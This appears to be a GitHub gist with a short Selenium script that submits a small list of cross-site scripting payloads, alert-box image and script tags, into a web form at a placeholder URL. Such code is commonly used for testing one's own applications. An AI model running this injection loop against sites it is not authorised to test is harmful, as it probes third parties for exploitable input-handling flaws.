Last active
July 5, 2023 20:17
-
-
Save Cdaprod/992c0363697816d7f7586de28f146f04 to your computer and use it in GitHub Desktop.
Snippet for testing input field against list of xss vars
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Assuming you have Selenium WebDriver and ChromeDriver installed | |
const {Builder, By, Key, until} = require('selenium-webdriver'); | |
const chrome = require('selenium-webdriver/chrome'); | |
// list of XSS payloads to test | |
const xssPayloads = [ | |
"<img src='x' onerror='alert(1);'>", | |
"<script>alert('XSS')</script>", | |
// Add more payloads as per your requirements | |
]; | |
// replace this with your URL and the input field selector | |
const url = 'http://your-website.com'; | |
const inputField = 'input#your-input-field-id'; | |
async function testXSS() { | |
let driver = await new Builder().forBrowser('chrome').setChromeOptions(new chrome.Options().headless()).build(); | |
try { | |
await driver.get(url); | |
for (let payload of xssPayloads) { | |
await driver.findElement(By.css(inputField)).clear(); | |
await driver.findElement(By.css(inputField)).sendKeys(payload, Key.RETURN); | |
// You will have to implement the code to check if the payload was successful | |
} | |
} finally { | |
await driver.quit(); | |
} | |
} | |
testXSS(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment